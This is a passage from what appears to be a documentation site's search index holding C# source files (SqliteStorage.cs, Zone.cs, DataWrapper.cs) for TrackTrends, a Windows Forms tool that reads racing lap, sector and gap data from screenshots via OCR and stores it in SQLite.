lap ) { string insertQuery = \"INSERT INTO Stats (Lap,DriverID,Tyre,LapTime,Sector1,Sector2,Sector3,GapToLeader,Position) VALUES (@Lap,@DriverID,@Tyre,@LapTime,@Sector1,@Sector2,@Sector3,@GapToLeader,@Position);\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Lap\" , lap ); command . Parameters . AddWithValue ( \"@DriverID\" , GetDriverID ( data . Name )); command . Parameters . AddWithValue ( \"@Tyre\" , data . CurrentTyre . Coumpound . ToString ()); command . Parameters . AddWithValue ( \"@LapTime\" , data . LapTime ); command . Parameters . AddWithValue ( \"@Sector1\" , data . Sector1 ); command . Parameters . AddWithValue ( \"@Sector2\" , data . Sector2 ); command . Parameters . AddWithValue ( \"@Sector3\" , data . Sector3 ); command . Parameters . AddWithValue ( \"@GapToLeader\" , data . GapToLeader ); command . Parameters . AddWithValue ( \"@Position\" , data . Position ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert infos about a driver\"); } } } } }","title":"SqliteStorage.cs"},{"location":"Code/SqliteStorage.html#sqlitestoragecs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : SqliteStorage.cs /// Brief : Class that controls the sqlite database /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Data.SQLite ; using System.IO ; using System.Windows.Forms ; namespace TrackTrends { public class SqliteStorage { private const string DATABASE_FOLDER = \"./Data\" ; private const string DATABASE_FILE = \"/database.sqlite\" ; private const string CONNECTION_STRING = \"Data Source=\" + DATABASE_FOLDER + DATABASE_FILE + \";Version=3;\" ; private SQLiteConnection Connection ; /// /// Creates a new Sqlite Storage and initialize the database /// public SqliteStorage () { Load (); } /// /// Loads a fresh new Database or create a new one if it does not exist. /// private void Load () { if (! Directory . Exists ( DATABASE_FOLDER )) Directory . CreateDirectory ( DATABASE_FOLDER ); if (! File . Exists ( DATABASE_FOLDER + DATABASE_FILE )) { SQLiteConnection . CreateFile ( DATABASE_FOLDER + DATABASE_FILE ); } else { //We are not using the existing DataBase File . Delete ( DATABASE_FOLDER + DATABASE_FILE ); } Connection = new SQLiteConnection ( CONNECTION_STRING ); Connection . Open (); //Create the drivers table string createDriversTableQuery = @\"CREATE TABLE IF NOT EXISTS Drivers (ID INTEGER PRIMARY KEY AUTOINCREMENT, Name VARCHAR NOT NULL);\" ; using ( var command = new SQLiteCommand ( createDriversTableQuery , Connection )) { command . ExecuteNonQuery (); } //Create the drivers table string createPitstopTableQuery = @\"CREATE TABLE Pitstops (Lap INTEGER NOT NULL, DriverID INTEGER NOT NULL, Tyre VARCHAR, PRIMARY KEY (Lap,DriverID));\" ; using ( var command = new SQLiteCommand ( createPitstopTableQuery , Connection )) { command . ExecuteNonQuery (); } //Create the stats string createStatsTableQuery = @\"CREATE TABLE IF NOT EXISTS Stats (Lap INTEGER NOT NULL, DriverID INTEGER NOT NULL, Tyre VARCHAR NOT NULL, LapTime INTEGER NOT NULL, Sector1 INTEGER NOT NULL, Sector2 INTEGER NOT NULL, Sector3 INTEGER NOT NULL, GapToLeader INTEGER NOT NULL, Position INTEGER NOT NULL, PRIMARY KEY (Lap, DriverID));\" ; using ( var command = new SQLiteCommand ( createStatsTableQuery , Connection )) { command . ExecuteNonQuery (); } } /// /// Adds a driver into the drivers table. Meant to be used at the start of the programm /// /// The name of the driver. (non case sensitive) public void AddDriver ( string name ) { string insertQuery = \"INSERT INTO Drivers (Name) VALUES (@name);\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Name\" , name ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert a new driver into de Database\"); } } } /// /// Searches for a driver and returns its id if it has been found /// /// Name of the driver (non case sensitive) /// private int GetDriverID ( string name ) { string selectQuery = \"SELECT ID FROM Drivers where Name LIKE @driverName\" ; int result = 0 ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverName\" , name ); try { using ( var reader = command . ExecuteReader ()) { while ( reader . Read ()) { result = reader . GetInt32 ( 0 ); } } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return result ; } /// /// Gets the sectors from a lapTime. Sectors are subdivisions of a laptime (could be usefull to validate one or the other) /// /// The name of the driver who has done the lap /// The lap at wich the driver has done the time /// A list of the different sectors time in int (ms) public List < int > GetSectorsFromLapTime ( string driverName , int lap ) { int driverId = GetDriverID ( driverName ); string selectQuery = \"SELECT Sector1,Sector2,Sector3 FROM Stats WHERE DriverID = @driverID AND Lap = @lap\" ; List < int > result = new List < int >(); using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@lap\" , lap ); try { SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { result . Add ( reader . GetInt32 ( 0 )); result . Add ( reader . GetInt32 ( 1 )); result . Add ( reader . GetInt32 ( 2 )); } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return result ; } /// /// Get the laptime history of a driver /// /// The name of the driver /// The number of lapTimes you want /// A list of tuples with the lap and the laptime. It will only return the amount it found so even if you ask 5 expect getting less or even 0 public List <( int LapTime , int Lap )> GetDriverLaptimes ( string driverName , int numberOfLaptimes ) { int driverId = GetDriverID ( driverName ); List <( int LapTime , int Lap )> lapData = new List <( int LapTime , int Lap )>(); string selectQuery = \"Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit\" ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@limit\" , numberOfLaptimes ); try { SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { int lapTime = reader . GetInt32 ( 0 ); int lap = reader . GetInt32 ( 1 ); lapData . Add (( lapTime , lap )); } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return lapData ; } /// /// Add a pitstop into the db /// /// The name of the driver who made his pitstop /// The lap where he stopped /// The tyre he took out public void AddPitstop ( string driverName , int lap , string tyre ) { string insertQuery = \"INSERT INTO Pitstops (Lap,DriverID,Tyre) VALUES (@Lap,@DriverID,@Tyre)\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Lap\" , lap ); command . Parameters . AddWithValue ( \"@DriverID\" , GetDriverID ( driverName )); command . Parameters . AddWithValue ( \"@Tyre\" , tyre ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert a new pitstop into the DB\" + Environment.NewLine + \"Request :\"+ command.ToString()); } } } /// /// Adds drivers info into the DB (it should only be once per lap) /// /// The Driver data /// The lap from wich the datas are from public void AddDriverStat ( DriverData data , int lap ) { string insertQuery = \"INSERT INTO Stats (Lap,DriverID,Tyre,LapTime,Sector1,Sector2,Sector3,GapToLeader,Position) VALUES (@Lap,@DriverID,@Tyre,@LapTime,@Sector1,@Sector2,@Sector3,@GapToLeader,@Position);\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Lap\" , lap ); command . Parameters . AddWithValue ( \"@DriverID\" , GetDriverID ( data . Name )); command . Parameters . AddWithValue ( \"@Tyre\" , data . CurrentTyre . Coumpound . ToString ()); command . Parameters . AddWithValue ( \"@LapTime\" , data . LapTime ); command . Parameters . AddWithValue ( \"@Sector1\" , data . Sector1 ); command . Parameters . AddWithValue ( \"@Sector2\" , data . Sector2 ); command . Parameters . AddWithValue ( \"@Sector3\" , data . Sector3 ); command . Parameters . AddWithValue ( \"@GapToLeader\" , data . GapToLeader ); command . Parameters . AddWithValue ( \"@Position\" , data . Position ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert infos about a driver\"); } } } } }","title":"SqliteStorage.cs"},{"location":"Code/Zone.html","text":"Zone.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class Zone { private Rectangle _bounds ; private List < Zone > _zones ; private List < Window > _windows ; private Bitmap _image ; private string _name ; public Bitmap ZoneImage { get { //This little trickery lets you have the image that the zone sees Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( Image , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Bitmap Image { get { return _image ; } set { //It automatically sets the image for the contained windows and zones _image = value ; foreach ( Window w in Windows ) { w . Image = ZoneImage ; } foreach ( Zone z in Zones ) { z . Image = Image ; } } } public Rectangle Bounds { get => _bounds ; protected set => _bounds = value ; } public List < Zone > Zones { get => _zones ; protected set => _zones = value ; } public List < Window > Windows { get => _windows ; protected set => _windows = value ; } public string Name { get => _name ; protected set => _name = value ; } /// /// Creates a new Zone /// /// Image of the parent zone /// The position and size of the zone /// THe name of the zone (usefull for the JSON formatting) public Zone ( Bitmap image , Rectangle bounds , string name ) { Windows = new List < Window >(); Zones = new List < Zone >(); Name = name ; //You cant set the image in the CTOR because the processing is impossible at first initiation _image = image ; Bounds = bounds ; } /// /// Adds a zone to the list of zones /// /// The zone you want to add public virtual void AddZone ( Zone zone ) { Zones . Add ( zone ); } /// /// Add a window to the list of windows /// /// the window you want to add public virtual void AddWindow ( Window window ) { Windows . Add ( window ); } /// /// Calls all the windows to do OCR and to give back the results so we can send them to the model /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver public virtual DriverData Decode ( List < string > driverList ) { int sectorCount = 0 ; DriverData result = new DriverData (); foreach ( Window w in Windows ) { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) result . Name = ( string )( w as DriverNameWindow ). DecodePng ( driverList ); if ( w is DriverDrsWindow ) result . DRS = ( bool )( w as DriverDrsWindow ). DecodePng (); if ( w is DriverGapToLeaderWindow ) result . GapToLeader = ( int )( w as DriverGapToLeaderWindow ). DecodePng (); if ( w is DriverLapTimeWindow ) result . LapTime = ( int )( w as DriverLapTimeWindow ). DecodePng (); if ( w is DriverPositionWindow ) result . Position = ( int )( w as DriverPositionWindow ). DecodePng (); if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) result . Sector1 = ( int )( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 2 ) result . Sector2 = ( int )( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 3 ) result . Sector3 = ( int )( w as DriverSectorWindow ). DecodePng (); } if ( w is DriverTyresWindow ) result . CurrentTyre = ( Tyre )( w as DriverTyresWindow ). DecodePng (); } return result ; } public virtual Bitmap Draw () { Bitmap img ; //If its the main zone we want to see everything if ( Zones . Count > 0 ) { img = Image ; } else { img = ZoneImage ; } Graphics g = Graphics . FromImage ( img ); //If its the main zone we need to visualize the Zone bounds displayed if ( Zones . Count > 0 ) g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 249 , 194 , 46 )), 5 ), Bounds ); foreach ( Zone z in Zones ) { Rectangle newBounds = new Rectangle ( z . Bounds . X , z . Bounds . Y + Bounds . Y , z . Bounds . Width , z . Bounds . Height ); g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 249 , 194 , 46 )), 5 ), newBounds ); } foreach ( Window w in Windows ) { g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 252 , 252 , 252 )), 5 ), w . Bounds ); } return img ; } public void ResetZones () { Zones . Clear (); } public void ResetWindows () { foreach ( Zone z in Zones ) { z . ResetWindows (); } Windows . Clear (); } /// /// Checks if the given Rectangle fits in the current zone /// /// The Rectangle you want to check the fittment /// protected bool Fits ( Rectangle inputRectangle ) { if ( inputRectangle . X + inputRectangle . Width > Bounds . Width || inputRectangle . Y + inputRectangle . Height > Bounds . Height || inputRectangle . X < 0 || inputRectangle . Y < 0 ) { return false ; } else { return true ; } } } }","title":"Zone.cs"},{"location":"Code/Zone.html#zonecs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class Zone { private Rectangle _bounds ; private List < Zone > _zones ; private List < Window > _windows ; private Bitmap _image ; private string _name ; public Bitmap ZoneImage { get { //This little trickery lets you have the image that the zone sees Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( Image , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Bitmap Image { get { return _image ; } set { //It automatically sets the image for the contained windows and zones _image = value ; foreach ( Window w in Windows ) { w . Image = ZoneImage ; } foreach ( Zone z in Zones ) { z . Image = Image ; } } } public Rectangle Bounds { get => _bounds ; protected set => _bounds = value ; } public List < Zone > Zones { get => _zones ; protected set => _zones = value ; } public List < Window > Windows { get => _windows ; protected set => _windows = value ; } public string Name { get => _name ; protected set => _name = value ; } /// /// Creates a new Zone /// /// Image of the parent zone /// The position and size of the zone /// THe name of the zone (usefull for the JSON formatting) public Zone ( Bitmap image , Rectangle bounds , string name ) { Windows = new List < Window >(); Zones = new List < Zone >(); Name = name ; //You cant set the image in the CTOR because the processing is impossible at first initiation _image = image ; Bounds = bounds ; } /// /// Adds a zone to the list of zones /// /// The zone you want to add public virtual void AddZone ( Zone zone ) { Zones . Add ( zone ); } /// /// Add a window to the list of windows /// /// the window you want to add public virtual void AddWindow ( Window window ) { Windows . Add ( window ); } /// /// Calls all the windows to do OCR and to give back the results so we can send them to the model /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver public virtual DriverData Decode ( List < string > driverList ) { int sectorCount = 0 ; DriverData result = new DriverData (); foreach ( Window w in Windows ) { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) result . Name = ( string )( w as DriverNameWindow ). DecodePng ( driverList ); if ( w is DriverDrsWindow ) result . DRS = ( bool )( w as DriverDrsWindow ). DecodePng (); if ( w is DriverGapToLeaderWindow ) result . GapToLeader = ( int )( w as DriverGapToLeaderWindow ). DecodePng (); if ( w is DriverLapTimeWindow ) result . LapTime = ( int )( w as DriverLapTimeWindow ). DecodePng (); if ( w is DriverPositionWindow ) result . Position = ( int )( w as DriverPositionWindow ). DecodePng (); if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) result . Sector1 = ( int )( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 2 ) result . Sector2 = ( int )( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 3 ) result . Sector3 = ( int )( w as DriverSectorWindow ). DecodePng (); } if ( w is DriverTyresWindow ) result . CurrentTyre = ( Tyre )( w as DriverTyresWindow ). DecodePng (); } return result ; } public virtual Bitmap Draw () { Bitmap img ; //If its the main zone we want to see everything if ( Zones . Count > 0 ) { img = Image ; } else { img = ZoneImage ; } Graphics g = Graphics . FromImage ( img ); //If its the main zone we need to visualize the Zone bounds displayed if ( Zones . Count > 0 ) g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 249 , 194 , 46 )), 5 ), Bounds ); foreach ( Zone z in Zones ) { Rectangle newBounds = new Rectangle ( z . Bounds . X , z . Bounds . Y + Bounds . Y , z . Bounds . Width , z . Bounds . Height ); g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 249 , 194 , 46 )), 5 ), newBounds ); } foreach ( Window w in Windows ) { g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 252 , 252 , 252 )), 5 ), w . Bounds ); } return img ; } public void ResetZones () { Zones . Clear (); } public void ResetWindows () { foreach ( Zone z in Zones ) { z . ResetWindows (); } Windows . Clear (); } /// /// Checks if the given Rectangle fits in the current zone /// /// The Rectangle you want to check the fittment /// protected bool Fits ( Rectangle inputRectangle ) { if ( inputRectangle . X + inputRectangle . Width > Bounds . Width || inputRectangle . Y + inputRectangle . Height > Bounds . Height || inputRectangle . X < 0 || inputRectangle . Y < 0 ) { return false ; } else { return true ; } } } }","title":"Zone.cs"},{"location":"Code/DataWrapper.html","text":"DataWrapper.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DataWrapper.cs /// Brief : Class that is used to interface between the main Form (vue) and the Storage (wich is a class that wraps the sqlite database, so the model) its almost MVC :D /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.Drawing ; namespace TrackTrends { internal class DataWrapper { private Reader Reader ; private SqliteStorage Storage ; List < List < DriverData >> LiveDriverDataLogs = new List < List < DriverData >>(); //Note : It could be usefull to get the mainForm at the start of the programm and not have to take it in half of the methods. /// /// Constructs a new DataWrapper. It needs the config file so it can create a Reader, It also needs a first screenshot for the same reason /// /// The JSON config file that is created by the configuration tool /// A screenshot of the public DataWrapper ( string configFile , Bitmap screenshot ) { Reader = new Reader ( configFile , screenshot , true ); //The Storage is here and on the Reader. It seems bad but it is ok as we dont use it at all to insert data and are only using it here to read some. The reader takes care of the inserts (Note: We could technically do both here but I did not find it usefull to transfer everything here) Storage = Reader . Storage ; } /// /// Refreshes the controller so it has the latest driver datas (Be sure to call it everytime you need to use any other method and expects the data to be up to date) /// /// Error code, 0 is success, 1 is not (Note: Maybe it could be interesting in the future to add some more error handling here) public int Refresh () { LiveDriverDataLogs . Add ( Reader . Decode ( Reader . MainZones , Reader . Drivers )); if ( LiveDriverDataLogs . Count > 0 ) return 0 ; return 1 ; } /// /// Changes the image to the newest screenshot in all of the zones and windows /// /// The new screenshot to put everywhere (Do not mix resolutions) public void ChangeImage ( Bitmap image ) { Reader . ChangeImage ( image ); } /// /// Gets all the data from one driver and also displays into the given panel the last five laps (or less if its the sart of the race) Note: Its responsive :D /// /// The name of the driver (should not be case sensitive but it MUST already exist in the first list that has been inserted into the DB) /// The pannel where you want the five last laps to be displayed /// The Main form. /// public DriverData GetFullDriverData ( string driverName , Panel lastFiveLapsPanel , Main form1 ) { //Note : I know that its a bad idea to ask the Form in this method and some others because it means that it wont work with any main form. And to that Ill say that... your right ! DriverData result = new DriverData (); if ( LiveDriverDataLogs . Count > 0 ) { //Searches the most recent live data from the given driverName foreach ( DriverData data in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { if ( data . Name == driverName ) result = data ; } if ( result . Name != \"\" ) { //Recovers and displays the last five laps from the driver lastFiveLapsPanel . Controls . Clear (); Size labelDimensions = new Size ( lastFiveLapsPanel . Width , lastFiveLapsPanel . Height / 5 ); List <( int LapTime , int Lap )> lapsInfos = Storage . GetDriverLaptimes ( driverName , 5 ); int id = 0 ; foreach (( int LapTime , int Lap ) lapData in lapsInfos ) { //Hardcodes the new button. //Note : It could be smart to have like a default button for all the methods to use without needing to rewrite everything. Button newButton = new Button (); lastFiveLapsPanel . Controls . Add ( newButton ); newButton . Name = driverName + \"_\" + lapData . Lap ; newButton . Text = Reader . ConvertMsToTime ( lapData . LapTime ); newButton . Size = labelDimensions ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Click += form1 . btnLapTime_Click ; newButton . Location = new Point ( 0 , id * newButton . Height ); id ++; } } } return result ; } /// /// Runs trough every drivers live data to recover the drivers that are close to each others /// /// The control that will host the displayed battles /// The main form. It needs to have a method called 'btnDriver_Click' so it can reads the buttons clicks public void DisplayBattles ( Panel pnlBattles , Main form1 ) { DriverData oldDriver = null ; List <( DriverData d1 , DriverData d2 , int gap )> battles = new List <( DriverData d1 , DriverData d2 , int gap )>(); //Search trough all the drivers and finds the one battling foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { if ( oldDriver != null && driver . Position != - 1 && oldDriver . Position != - 1 ) { if ( driver . GapToLeader < oldDriver . GapToLeader ) { //There is a problem with the drivers gaps } else { int gap = driver . GapToLeader - oldDriver . GapToLeader ; //3000ms is 3s. If drivers are that close then they are definitely in battle. If they are farther then maybe not if ( gap <= 3000 ) { battles . Add (( oldDriver , driver , gap )); } } oldDriver = driver ; } else { oldDriver = driver ; } } //We will only display 4 battles max int maxBattles = 4 ; if ( battles . Count > 0 ) { pnlBattles . Controls . Clear (); int maxUiHeight = Math . Max ( pnlBattles . Height / maxBattles , pnlBattles . Height / battles . Count ); int id = 0 ; foreach (( DriverData d1 , DriverData d2 , int gap ) battle in battles ) { if ( id < maxBattles ) { //*hardcoding* the different controls that needs to be added to the panel. //Note : this stuff could totally be handled by the Form with method returning a list of the drivers. It was just easier for me at the time to code it this way but its not the prettiest Button btnFirstDriver = new Button (); Button btnSecondDriver = new Button (); Label lblGap = new Label (); pnlBattles . Controls . Add ( btnFirstDriver ); pnlBattles . Controls . Add ( lblGap ); pnlBattles . Controls . Add ( btnSecondDriver ); btnFirstDriver . Anchor = AnchorStyles . Left | AnchorStyles . Top ; btnSecondDriver . Anchor = AnchorStyles . Right | AnchorStyles . Top ; lblGap . Anchor = AnchorStyles . Right | AnchorStyles . Left | AnchorStyles . Top ; lblGap . TextAlign = ContentAlignment . MiddleCenter ; lblGap . Font = new Font ( lblGap . Font . FontFamily , 15 ); btnFirstDriver . Click += form1 . btnDriver_Click ; btnSecondDriver . Click += form1 . btnDriver_Click ; btnFirstDriver . FlatStyle = FlatStyle . Popup ; btnSecondDriver . FlatStyle = FlatStyle . Popup ; lblGap . FlatStyle = FlatStyle . Popup ; btnFirstDriver . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); btnSecondDriver . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); lblGap . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); btnFirstDriver . Location = new Point ( pnlBattles . Width / 3 * 0 , id * maxUiHeight ); lblGap . Location = new Point ( pnlBattles . Width / 3 * 1 , id * maxUiHeight ); btnSecondDriver . Location = new Point ( pnlBattles . Width / 3 * 2 , id * maxUiHeight ); btnFirstDriver . Text = battle . d1 . Name ; lblGap . Text = \"+ \" + Reader . ConvertMsToTime ( battle . gap ); if ( battle . gap <= 2000 ) lblGap . ForeColor = Color . Yellow ; if ( battle . gap <= 1000 ) lblGap . ForeColor = Color . Green ; btnSecondDriver . Text = battle . d2 . Name ; btnFirstDriver . Name = battle . d1 . Name + \"_\" + id ; lblGap . Name = \"lbl_Gap_\" + id ; btnSecondDriver . Name = battle . d2 . Name + \"_\" + id ; } else { break ; } id ++; } } } /// /// Searches the fastest and slowests drivers and displays them in the given panels /// /// Panel that will contain the constructed controls /// Panel that will contain the constructed controls /// The main form that needs to implement the method btnDriver_Click to allow it to recover custom buttons click public void DisplayTimesDeltas ( Panel pnlFastest , Panel pnlSlowest , Main form1 ) { List <( int avg , string driverName )> averages = new List <( int avg , string driverName )>(); foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { //We want to recover the last 5 lap times List <( int lapTime , int lap )> laps = Storage . GetDriverLaptimes ( driver . Name , 5 ); if ( laps . Count > 0 ) { int avg = 0 ; foreach (( int lapTime , int lap ) lap in laps ) { avg += lap . lapTime ; } avg = avg / laps . Count ; averages . Add (( avg , driver . Name )); } } int numberOfDriversToShow = 5 ; if ( averages . Count > 0 && averages . Count > numberOfDriversToShow ) { averages = averages . OrderBy ( item => item . avg ). ToList (); pnlFastest . Controls . Clear (); pnlSlowest . Controls . Clear (); int maxUiSize = pnlFastest . Height / numberOfDriversToShow ; //Displays the fastest drivers for ( int i = 0 ; i < numberOfDriversToShow ; i ++) { Button newButton = new Button (); ( int avg , string driver ) data = averages [ i ]; pnlFastest . Controls . Add ( newButton ); newButton . Size = new Size ( pnlFastest . Width , maxUiSize ); newButton . Location = new Point ( 0 , i * maxUiSize ); newButton . Text = data . driver ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Name = data . driver + \"_fastest_\" + i ; newButton . Click += form1 . btnDriver_Click ; //We take the average time lost per lap if ( i != 0 ) newButton . Text += \" + \" + Reader . ConvertMsToTime ( Convert . ToInt32 ((( float ) data . avg - ( float ) averages [ 0 ]. avg ) / 5.0f )); } //Displays the slowests drivers int badId = 0 ; for ( int i = averages . Count - 1 ; i >= averages . Count - numberOfDriversToShow ; i --) { Button newButton = new Button (); ( int avg , string driver ) data = averages [ i ]; pnlSlowest . Controls . Add ( newButton ); newButton . Size = new Size ( pnlFastest . Width , maxUiSize ); newButton . Location = new Point ( 0 , badId * maxUiSize ); newButton . Text = data . driver ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Name = data . driver + \"_slowest_\" + i ; newButton . Click += form1 . btnDriver_Click ; //We take the average time lost per lap newButton . Text += \" + \" + Reader . ConvertMsToTime ( Convert . ToInt32 ((( float ) data . avg - ( float ) averages [ 0 ]. avg ) / 5.0f )); badId ++; } } } /// /// Will add to the list of overtakes the different changes of position /// /// The listbox containing all the infos public void DisplayOvertakes ( ListBox lsbResult ) { //Note : This method SHOULD REALLY not do this but just return a string or a list of string with the new overtakes so the form can handle it as it wishes if ( LiveDriverDataLogs . Count > 1 ) { List < DriverData > oldList = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 2 ]; List < DriverData > newList = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]; for ( int i = 0 ; i < LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]. Count ; i ++) { if ( oldList [ i ]. Name != newList [ i ]. Name ) { //There has been a change in the standings for ( int y = 0 ; y < oldList . Count ; y ++) { if ( newList [ y ]. Name == oldList [ i ]. Name ) { //We found its new location if ( y > i ) { //The driver overtook someone lsbResult . Items . Add ( newList [ y ]. Name + \" climbed to \" + y ); } else { //The driver got overtook by someone lsbResult . Items . Add ( newList [ y ]. Name + \" fell to \" + y ); } } } } } } } /// /// Displays a messageBox containing the infos about a lap time /// /// The name of the driver that has done the lapTime /// The number of the lap on wich the lapTime has been set (CAUTION ITS NOT THE RACING LAP ITS FROM THE DB) /// The time (in ms) of the lap public void DisplayLapTimeInfos ( string driverName , int Lap , string LapTime ) { List < int > sectors = Storage . GetSectorsFromLapTime ( driverName , Lap ); string message = \"Lap time infos\" + Environment . NewLine ; message += LapTime + Environment . NewLine ; if ( sectors . Count > 0 ) message += \"Sector 1 : \" + Reader . ConvertMsToTime ( sectors [ 0 ]) + Environment . NewLine ; if ( sectors . Count > 1 ) message += \"Sector 2 : \" + Reader . ConvertMsToTime ( sectors [ 1 ]) + Environment . NewLine ; if ( sectors . Count > 2 ) message += \"Sector 3 : \" + Reader . ConvertMsToTime ( sectors [ 2 ]) + Environment . NewLine ; MessageBox . Show ( message ); } /// /// Displays the live ranking with the names of the drivers and their gap to the leader in the right order /// /// The control that will host all the new controls /// The main form public void DisplayLiveRanking ( Panel pnl , Main form1 ) { if ( LiveDriverDataLogs . Count > 0 ) { pnl . Controls . Clear (); //Gets the last item that should be the most recent data List < DriverData > liveData = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]; Button [] buttons = new Button [ liveData . Count ]; Size buttonDimensions = new Size ( pnl . Width , pnl . Height / liveData . Count ); for ( int driverCount = 0 ; driverCount < liveData . Count ; driverCount ++) { Button newButton = new Button (); newButton . Size = buttonDimensions ; newButton . Location = new Point ( 0 , driverCount * buttonDimensions . Height ); newButton . FlatStyle = FlatStyle . Popup ; DriverData driver = liveData [ driverCount ]; if ( driver . Position == - 1 ) { //Its a DNF newButton . Enabled = false ; } if ( driver . Position > 1 ) { newButton . Text = driver . Name + \" +\" + Reader . ConvertMsToTime ( driver . GapToLeader ); } else { newButton . Text = driver . Name ; } newButton . Name = liveData [ driverCount ]. Name ; newButton . TextAlign = ContentAlignment . MiddleLeft ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Click += form1 . btnDriver_Click ; buttons [ driverCount ] = newButton ; } //Note : It could be better to have this directly in the same loop foreach ( Button button in buttons ) { pnl . Controls . Add ( button ); } } } } }","title":"DataWrapper.cs"},{"location":"Code/DataWrapper.html#datawrappercs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DataWrapper.cs /// Brief : Class that is used to interface between the main Form (vue) and the Storage (wich is a class that wraps the sqlite database, so the model) its almost MVC :D /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.Drawing ; namespace TrackTrends { internal class DataWrapper { private Reader Reader ; private SqliteStorage Storage ; List < List < DriverData >> LiveDriverDataLogs = new List < List < DriverData >>(); //Note : It could be usefull to get the mainForm at the start of the programm and not have to take it in half of the methods. /// /// Constructs a new DataWrapper. It needs the config file so it can create a Reader, It also needs a first screenshot for the same reason /// /// The JSON config file that is created by the configuration tool /// A screenshot of the public DataWrapper ( string configFile , Bitmap screenshot ) { Reader = new Reader ( configFile , screenshot , true ); //The Storage is here and on the Reader. It seems bad but it is ok as we dont use it at all to insert data and are only using it here to read some. The reader takes care of the inserts (Note: We could technically do both here but I did not find it usefull to transfer everything here) Storage = Reader . Storage ; } /// /// Refreshes the controller so it has the latest driver datas (Be sure to call it everytime you need to use any other method and expects the data to be up to date) /// /// Error code, 0 is success, 1 is not (Note: Maybe it could be interesting in the future to add some more error handling here) public int Refresh () { LiveDriverDataLogs . Add ( Reader . 